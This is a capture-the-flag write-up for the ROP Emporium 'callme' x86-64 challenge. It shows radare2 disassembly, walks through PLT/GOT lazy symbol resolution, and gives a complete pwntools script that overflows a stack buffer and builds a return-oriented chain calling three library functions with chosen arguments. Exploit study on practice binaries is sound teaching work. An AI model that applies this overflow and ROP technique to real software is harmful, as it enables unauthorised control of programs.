Skip to content

Latest commit

 

History

History
439 lines (363 loc) · 25.7 KB

README.md

File metadata and controls

439 lines (363 loc) · 25.7 KB

callme

Lets download and unzip the challenge file and run it:

$ ./callme
callme by ROP Emporium
64bits

Hope you read the instructions...
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[1]    18329 segmentation fault (core dumped)  ./callme

Let's take a look at the pwnme function again:

$ radare2 -A split
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Type matching analysis for all functions (afta)
[x] Use -AA or aaaa to perform additional experimental analysis.
 -- I script in C, because I can.

[0x004018a0]> pdf @ sym.pwnme
/ (fcn) sym.pwnme 82
|   sym.pwnme ();
|           ; var char *s @ rbp-0x20
|           ; CALL XREF from sym.main (0x4019ef)
|           0x00401a05      55             push rbp
|           0x00401a06      4889e5         mov rbp, rsp
|           0x00401a09      4883ec20       sub rsp, 0x20
|           0x00401a0d      488d45e0       lea rax, [s]
|           0x00401a11      ba20000000     mov edx, 0x20               ; 32 ; size_t n
|           0x00401a16      be00000000     mov esi, 0                  ; int c
|           0x00401a1b      4889c7         mov rdi, rax                ; void *s
|           0x00401a1e      e8fdfdffff     call sym.imp.memset         ; void *memset(void *s, int c, size_t n)
|           0x00401a23      bf701b4000     mov edi, str.Hope_you_read_the_instructions... ; 0x401b70 ; "Hope you read the instructions..." ; const char *s
|           0x00401a28      e8c3fdffff     call sym.imp.puts           ; int puts(const char *s)
|           0x00401a2d      bf921b4000     mov edi, 0x401b92           ; const char *format
|           0x00401a32      b800000000     mov eax, 0
|           0x00401a37      e8c4fdffff     call sym.imp.printf         ; int printf(const char *format)
|           0x00401a3c      488b154d0620.  mov rdx, qword [obj.stdin__GLIBC_2.2.5] ; [0x602090:8]=0 ; FILE *stream
|           0x00401a43      488d45e0       lea rax, [s]
|           0x00401a47      be00010000     mov esi, 0x100              ; 256 ; int size
|           0x00401a4c      4889c7         mov rdi, rax                ; char *s
|           0x00401a4f      e8ecfdffff     call sym.imp.fgets          ; char *fgets(char *s, int size, FILE *stream)
|           0x00401a54      90             nop
|           0x00401a55      c9             leave
\           0x00401a56      c3             ret

And there's a usefulFunction for us to look at again:

[0x004018a0]> pdf @ sym.usefulFunction
/ (fcn) sym.usefulFunction 74
|   sym.usefulFunction ();
|           0x00401a57      55             push rbp
|           0x00401a58      4889e5         mov rbp, rsp
|           0x00401a5b      ba06000000     mov edx, 6
|           0x00401a60      be05000000     mov esi, 5
|           0x00401a65      bf04000000     mov edi, 4
|           0x00401a6a      e8a1fdffff     call sym.imp.callme_three
|           0x00401a6f      ba06000000     mov edx, 6
|           0x00401a74      be05000000     mov esi, 5
|           0x00401a79      bf04000000     mov edi, 4
|           0x00401a7e      e8edfdffff     call sym.imp.callme_two
|           0x00401a83      ba06000000     mov edx, 6
|           0x00401a88      be05000000     mov esi, 5
|           0x00401a8d      bf04000000     mov edi, 4
|           0x00401a92      e8b9fdffff     call sym.imp.callme_one
|           0x00401a97      bf01000000     mov edi, 1                  ; int status
\           0x00401a9c      e8dffdffff     call sym.imp.exit           ; void exit(int status)

The challenge has a useful bit of explaining text:

Important: To dispose of the need for any RE we'll tell you the following: You must call callme_one(), callme_two() and callme_three() in that order, each with the arguments 1,2,3 e.g. callme_one(1,2,3) to print the flag. The solution here is simple enough, use your knowledge about what resides in the PLT to call the callme_ functions in the above order and with the correct arguments. Don't get distracted by the incorrect calls to these functions made in the binary, they're there to ensure these functions get linked. You can also ignore the .dat files and the encrypted flag in this challenge, they're there to ensure the functions must be called in the correct order.

The text refers to the PLT, or the "Procedural Linkage Table". Appendix A in the Guide does a pretty good job describing it and is definitely worth reading.

It's worth walking through PLT resolution in order to illustrate its working. In order to see it in action, we want to be able to force the executable to jump to one of the callme functions.

In order to do that, we can craft a payload and then tell radare to use the payload when running. To craft the payload we can use a small python script:

from pwn import *

payload = "A" * 40

useful_function = p64(0x00401a57)

payload += useful_function

open('payload', 'w').write(payload)

And then we can run radare with the payload as its stdin.

$ radare2 -A -Rstdin=payload -d callme
Process with PID 25272 started...
= attach 25272 25272
bin.baddr 0x00400000
Using 0x400000
asm.bits 64
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[TOFIX: afta can't run in debugger mode.ions (afta)
[x] Type matching analysis for all functions (afta)
[x] Use -AA or aaaa to perform additional experimental analysis.
= attach 25272 25272
25272
 -- You crackme up!

[0x7fd2bcd5bea0]> dcu sym.usefulFunction
Continue until 0x00401a05 using 1 bpsize
callme by ROP Emporium
64bits

> hit breakpoint at: 401a57

We can look at the contents of callme_three now:

[0x00401a57]> pd @ sym.imp.callme_three
/ (fcn) sym.imp.callme_three 6
|   sym.imp.callme_three ();
| :::::::   ; CALL XREF from sym.usefulFunction (0x401a6a)
\ :::::::   0x00401810      ff2512082000   jmp qword reloc.callme_three ; [0x602028:8]=0x401816
  :::::::   0x00401816      6802000000     push 2                      ; 2
  ========< 0x0040181b      e9c0ffffff     jmp 0x4017e0

If we look at the address 0x00401810, we can see that it's in the PLT section:

[0x00401a57]> iS
[Sections]
00 0x00000000     0 0x00000000     0 ---- 
01 0x00001238    28 0x00401238    28 -r-- .interp
02 0x00001254    32 0x00401254    32 -r-- .note.ABI_tag
03 0x00001274    36 0x00401274    36 -r-- .note.gnu.build_id
04 0x00001298    68 0x00401298    68 -r-- .gnu.hash
05 0x000012e0   552 0x004012e0   552 -r-- .dynsym
06 0x00001508   275 0x00401508   275 -r-- .dynstr
07 0x0000161c    46 0x0040161c    46 -r-- .gnu.version
08 0x00001650    32 0x00401650    32 -r-- .gnu.version_r
09 0x00001670    96 0x00401670    96 -r-- .rela.dyn
10 0x000016d0   240 0x004016d0   240 -r-- .rela.plt
11 0x000017c0    26 0x004017c0    26 -r-x .init
12 0x000017e0   176 0x004017e0   176 -r-x .plt
13 0x00001890     8 0x00401890     8 -r-x .plt.got
14 0x000018a0   658 0x004018a0   658 -r-x .text
15 0x00001b34     9 0x00401b34     9 -r-x .fini
16 0x00001b40    85 0x00401b40    85 -r-- .rodata
17 0x00001b98    68 0x00401b98    68 -r-- .eh_frame_hdr
18 0x00001be0   308 0x00401be0   308 -r-- .eh_frame
19 0x00001df0     8 0x00601df0     8 -rw- .init_array
20 0x00001df8     8 0x00601df8     8 -rw- .fini_array
21 0x00001e00     8 0x00601e00     8 -rw- .jcr
22 0x00001e08   496 0x00601e08   496 -rw- .dynamic
23 0x00001ff8     8 0x00601ff8     8 -rw- .got
24 0x00002000   104 0x00602000   104 -rw- .got.plt
25 0x00002068    16 0x00602068    16 -rw- .data
26 0x00002078     0 0x00602080    48 -rw- .bss
27 0x00002078    52 0x00000000    52 ---- .comment
28 0x00002b63   268 0x00000000   268 ---- .shstrtab
29 0x000020b0  1968 0x00000000  1968 ---- .symtab
30 0x00002860   771 0x00000000   771 ---- .strtab

There's another way to explore the location as well. We can use V to enter visual mode:

[0x004017da]> V

/ (fcn) sym.usefulFunction 74                                                                                                                                                                                       
|   sym.usefulFunction ();                                                                                                                                                                                          
|           0x00401a57      55             push rbp                                                                                                                                                                 
|           0x00401a58      4889e5         mov rbp, rsp                                                                                                                                                             
|           0x00401a5b      ba06000000     mov edx, 6                                                                                                                                                               
|           0x00401a60      be05000000     mov esi, 5                                                                                                                                                               
|           0x00401a65      bf04000000     mov edi, 4                                                                                                                                                               
|           0x00401a6a      e8a1fdffff     call sym.imp.callme_three   ;[1]                                                                                                                                         
|           0x00401a6f      ba06000000     mov edx, 6                                                                                                                                                               
|           0x00401a74      be05000000     mov esi, 5                                                                                                                                                               
|           0x00401a79      bf04000000     mov edi, 4                                                                                                                                                               
|           0x00401a7e      e8edfdffff     call sym.imp.callme_two     ;[2]                                                                                                                                         
|           0x00401a83      ba06000000     mov edx, 6                                                                                                                                                               
|           0x00401a88      be05000000     mov esi, 5                                                                                                                                                               
|           0x00401a8d      bf04000000     mov edi, 4                                                                                                                                                               
|           0x00401a92      e8b9fdffff     call sym.imp.callme_one     ;[3]                                                                                                                                         
|           0x00401a97      bf01000000     mov edi, 1                                                                                                                                                               
\           0x00401a9c      e8dffdffff     call sym.imp.exit           ;[4] ; void exit(int status)                                                                                                                 
            0x00401aa1      662e0f1f8400.  nop word cs:[rax + rax]                                                                                                                                                  
            0x00401aab      0f1f440000     nop dword [rax + rax]                                                                                                                                                    
            ;-- usefulGadgets:                                                                                                                                                                                      
            0x00401ab0      5f             pop rdi                                                                                                                                                                  
            0x00401ab1      5e             pop rsi                                                                                                                                                                  
            0x00401ab2      5a             pop rdx                                                                                                                                                                  
            0x00401ab3      c3             ret                                                                                                                                                                      
            0x00401ab4      662e0f1f8400.  nop word cs:[rax + rax]                                                                                                                                                  
            0x00401abe      6690           nop                                                                                                                                                                      

In order to get to the disassembly, you have to press 'p' a few times.

Each of the functions have a number in square brackets at the end of them. In order to jump to that function, press the corresponding number key. Pressing '1' will take you to the callme_three function. From there, you can use vim keys to look around. If you scroll up a few lines you can see the start of the plt section:

            ;-- section..plt:                                                                                                                                                                                       
  .......-> 0x004017e0      ff3522082000   push qword [0x00602008]     ; [12] -r-x section size 176 named .plt                                                                                                      
  :::::::   0x004017e6      ff2524082000   jmp qword [0x00602010]      ; [0x602010:8]=0x7f75d5706bf0                                                                                                                
  :::::::   0x004017ec      0f1f4000       nop dword [rax]                                                                                                                                                          
/ (fcn) sym.imp.puts 6                                                                                                                                                                                              
|   sym.imp.puts (const char *s);                                                                                                                                                                                   
| :::::::   ; CALL XREFS from sym.main (0x4019db, 0x4019e5, 0x4019f9)                                                                                                                                               
| :::::::   ; CALL XREF from sym.pwnme (0x401a28)                                                                                                                                                                   
\ :::::::   0x004017f0      ff2522082000   jmp qword reloc.puts        ; [0x602018:8]=0x7f75d5185460 ; "`T\x18\xd5u\x7f"                                                                                            
  :::::::   0x004017f6      6800000000     push 0                                                                                                                                                                   
  ========< 0x004017fb      e9e0ffffff     jmp 0x4017e0                ;[2]                                                                                                                                         
/ (fcn) sym.imp.printf 6                                                                                                                                                                                            
|   sym.imp.printf (const char *format);                                                                                                                                                                            
| :::::::   ; CALL XREF from sym.pwnme (0x401a37)                                                                                                                                                                   
\ :::::::   0x00401800      ff251a082000   jmp qword reloc.printf      ; [0x602020:8]=0x7f75d5169d90                                                                                                                
  :::::::   0x00401806      6801000000     push 1                      ; 1                                                                                                                                          
  ========< 0x0040180b      e9d0ffffff     jmp 0x4017e0                ;[2]                                                                                                                                         
/ (fcn) sym.imp.callme_three 6                                                                                                                                                                                      
|   sym.imp.callme_three ();                                                                                                                                                                                        
| :::::::   ; CALL XREF from sym.usefulFunction (0x401a6a)                                                                                                                                                          
\ :::::::   0x00401810      ff2512082000   jmp qword reloc.callme_three    ; [0x602028:8]=0x401816                                                                                                                  
  :::::::   0x00401816      6802000000     push 2                      ; 2                                                                                                                                          
  ========< 0x0040181b      e9c0ffffff     jmp 0x4017e0                ;[2]                                                                                                                                         

Now we can continue until the program jumps into the plt:

[0x004017da]> dcu sym.imp.callme_three
[0x00401810]> pd
| :::::::   ;-- rip:
/ (fcn) sym.imp.callme_three 6
|   sym.imp.callme_three ();
| :::::::   ; CALL XREF from sym.usefulFunction (0x401a6a)
\ :::::::   0x00401810      ff2512082000   jmp qword reloc.callme_three ; [0x602028:8]=0x401816
  :::::::   0x00401816      6802000000     push 2                      ; 2
  ========< 0x0040181b      e9c0ffffff     jmp 0x4017e0

The code in this stub will jump to the address stored at reloc.callme_three. Looking at that value now:

[0x00401800]> pd @ reloc.callme_three
            ;-- reloc.callme_three:
            ; DATA XREF from sym.imp.callme_three (0x401810)
            0x00602028      .qword 0x0000000000401816

That address is just the next line in the plt section. Stepping through a couple times, we can see that's where we end up. The next line pushes the value '2' to the stack, and then makes a jmp 0x4017e0 call. Let's look at the contents of that address:

[0x004017e0]> pd @ 0x4017e0
            ;-- section..plt:
            ;-- rip:
  .......-> 0x004017e0      ff3522082000   push qword [0x00602008]     ; [12] -r-x section size 176 named .plt
  :::::::   0x004017e6      ff2524082000   jmp qword [0x00602010]      ; [0x602010:8]=0x7f75d5706bf0
  :::::::   0x004017ec      0f1f4000       nop dword [rax]

The 0x4017e0 address is the top of the plt. This will then jump to the address stored at 0x00602010. That address is in the GOT, or the Global Offset Table:

[0x004017e0]> px @ 0x00602010
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x00602010  f06b 70d5 757f 0000 6054 18d5 757f 0000  .kp.u...`T..u...

So the jmp is going to 0x7f75d5706bf0. Which if we look carefully enough at the previous bit of output, we can see that radare has already done that calculation for us. That address is the dynamic resolver, which will patch the .got.plt entry and then jump to the function.

Let's step to the address after the callme_three function and then we can examine the .plt entry:

[0x004017e0]> dcu 0x00401a6f

Continue until 0x00401a6f using 1 bpsize
callme by ROP Emporium
64bits

Hope you read the instructions...
> Incorrect parameters

[0x7f9170f21fd8]> pd @ sym.imp.callme_three
/ (fcn) sym.imp.callme_three 6
|   sym.imp.callme_three ();
| :::::::   ; CALL XREF from sym.usefulFunction (0x401a6a)
\ :::::::   0x00401810      ff2512082000   jmp qword reloc.callme_three ; [0x602028:8]=0x7f9171229aaa
  :::::::   0x00401816      6802000000     push 2                      ; 2
  ========< 0x0040181b      e9c0ffffff     jmp 0x4017e0

The plt still points to the got, but the value in the got now points to the actual callme_three function:

0x7f9170f21fd8]> pd @ 0x7f9171229aaa
            0x7f9171229aaa      55             push rbp
            0x7f9171229aab      4889e5         mov rbp, rsp
            0x7f9171229aae      4883ec20       sub rsp, 0x20
            0x7f9171229ab2      897dec         mov dword [rbp - 0x14], edi
            0x7f9171229ab5      8975e8         mov dword [rbp - 0x18], esi
            0x7f9171229ab8      8955e4         mov dword [rbp - 0x1c], edx
            0x7f9171229abb      837dec01       cmp dword [rbp - 0x14], 1 ; rdi ; [0x1:4]=-1
        ,=< 0x7f9171229abf      0f85c5000000   jne 0x7f9171229b8a
        |   0x7f9171229ac5      837de802       cmp dword [rbp - 0x18], 2 ; [0x2:4]=-1 ; 2
       ,==< 0x7f9171229ac9      0f85bb000000   jne 0x7f9171229b8a
       ||   0x7f9171229acf      837de403       cmp dword [rbp - 0x1c], 3 ; [0x3:4]=-1 ; 3
      ,===< 0x7f9171229ad3      0f85b1000000   jne 0x7f9171229b8a
      |||   0x7f9171229ad9      48c745f80000.  mov qword [rbp - 8], 0
      |||   0x7f9171229ae1      488d35c80000.  lea rsi, [0x7f9171229bb0] ; "r"
      |||   0x7f9171229ae8      488d3d4b0100.  lea rdi, [0x7f9171229c3a] ; "key2.dat"
      |||   0x7f9171229aef      e8ccfcffff     call 0x7f91712297c0
      |||   0x7f9171229af4      488945f8       mov qword [rbp - 8], rax
      |||   0x7f9171229af8      48837df800     cmp qword [rbp - 8], 0
     ,====< 0x7f9171229afd      7516           jne 0x7f9171229b15
     ||||   0x7f9171229aff      488d3d3d0100.  lea rdi, [0x7f9171229c43] ; "Failed to open key2.dat"
     ||||   0x7f9171229b06      e855fcffff     call 0x7f9171229760
     ||||   0x7f9171229b0b      bf01000000     mov edi, 1
     ||||   0x7f9171229b10      e8bbfcffff     call 0x7f91712297d0

... (A BUNCH MORE LINES FROM THIS FUNCTION SKIPPED OVER) ...

So now that we have a sense of how plt resolution works, we can use it to call the proper functions in the correct order with the correct arguments.

In order to get the arguments to the functions we need to look for an appropriate ROP gadget. The first argument is rdi, the second argument is rsi, and the third argument is rdx. So let's look for a pop rdx gadget:

[0x00401a05]> /R pop rdx
  0x00401aab         0f1f440000  nop dword [rax + rax]
  0x00401ab0                 5f  pop rdi
  0x00401ab1                 5e  pop rsi
  0x00401ab2                 5a  pop rdx
  0x00401ab3                 c3  ret

  0x00401aad             440000  add byte [rax], r8b
  0x00401ab0                 5f  pop rdi
  0x00401ab1                 5e  pop rsi
  0x00401ab2                 5a  pop rdx
  0x00401ab3                 c3  ret

  0x00401aae               0000  add byte [rax], al
  0x00401ab0                 5f  pop rdi
  0x00401ab1                 5e  pop rsi
  0x00401ab2                 5a  pop rdx
  0x00401ab3                 c3  ret

  0x00401aaf             005f5e  add byte [rdi + 0x5e], bl
  0x00401ab2                 5a  pop rdx
  0x00401ab3                 c3  ret

So 0x00401ab0 is the address of a pop rdi; pop rsi; pop rdx; ret gadget. Now all we have to do is add some padding, put the plt addresses of the appropriate functions in the right order, add the argument values, and then throw in the rop gadget address:

from pwn import *

prog = process("./callme")

payload = "A" * 40

callme_one_plt = p64(0x00401850)
callme_two_plt = p64(0x00401870)
callme_three_plt = p64(0x00401810)

# pop rdi
# pop rsi
# pop rdx
pop_args = p64(0x00401ab0)

one = p64(1)
two = p64(2)
three = p64(3)

payload += pop_args
payload += one
payload += two
payload += three
payload += callme_one_plt

payload += pop_args
payload += one
payload += two
payload += three
payload += callme_two_plt

payload += pop_args
payload += one
payload += two
payload += three
payload += callme_three_plt

open('payload', 'w').write(payload)

print prog.recvuntil(">")

prog.clean()

prog.sendline(payload)

print prog.clean()

Running our exploit:

$ python exploit.py
[+] Starting local process './callme': pid 7990
callme by ROP Emporium
64bits

Hope you read the instructions...
>
[*] Process './callme' stopped with exit code 0 (pid 7990)
ROPE{a_placeholder_32byte_flag!}

And there's our flag! 😎